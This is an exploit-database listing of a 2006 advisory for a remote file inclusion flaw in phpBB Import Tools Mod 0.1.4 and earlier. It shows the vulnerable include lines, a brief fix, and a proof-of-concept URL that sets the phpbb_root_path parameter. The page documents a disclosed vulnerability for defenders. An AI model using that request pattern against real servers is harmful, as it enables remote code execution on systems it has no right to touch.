phpBB Import Tools Mod - exploit.company

vendor:

phpBB Import Tools Mod

by:

boecke

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: phpBB Import Tools Mod

Affected Version From: phpBB Import Tools Mod <= 0.1.4

Affected Version To: phpBB Import Tools Mod <= 0.1.4

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2006

phpBB Import Tools Mod <= 0.1.4 (phpbb_root_path) Remote File Inclusion

An attacker can exploit this vulnerability by sending a specially crafted HTTP request to the vulnerable server. This can allow the attacker to include a remote file containing arbitrary code, resulting in a compromise of the web server.

Mitigation:

Correctly sanitize these variables before their use or deny direct access to the script.

Source

Exploit-DB raw data:

#
# *
# * Title: phpBB Import Tools Mod <= 0.1.4 (phpbb_root_path) Remote File Inclusion
# * Author/Discovery: boecke
# * Vulnerability Type: Remote File Inclusion
# * Risk: High Risk
# * Software Affected: phpBB Import Tools Mod <= 0.1.4
# *
# * Literally shouts to: str0ke and henrik
# * Don't promote Google-ism!
# *
#

[ Vulnerable Code: ]
include_once($phpbb_root_path . 'includes/functions_validate.' . $phpEx);
include_once($phpbb_root_path . 'includes/functions_post.' . $phpEx);
include_once($phpbb_root_path . 'includes/bbcode.' . $phpEx);

[ Fix: ]
Correctly sanitize these variables before their use or deny direct access to the script.

[ Proof of Concept: ]
http://localhost/phpBB2/includes/functions_mod_user.php?phpbb_root_path=

# milw0rm.com [2006-10-12]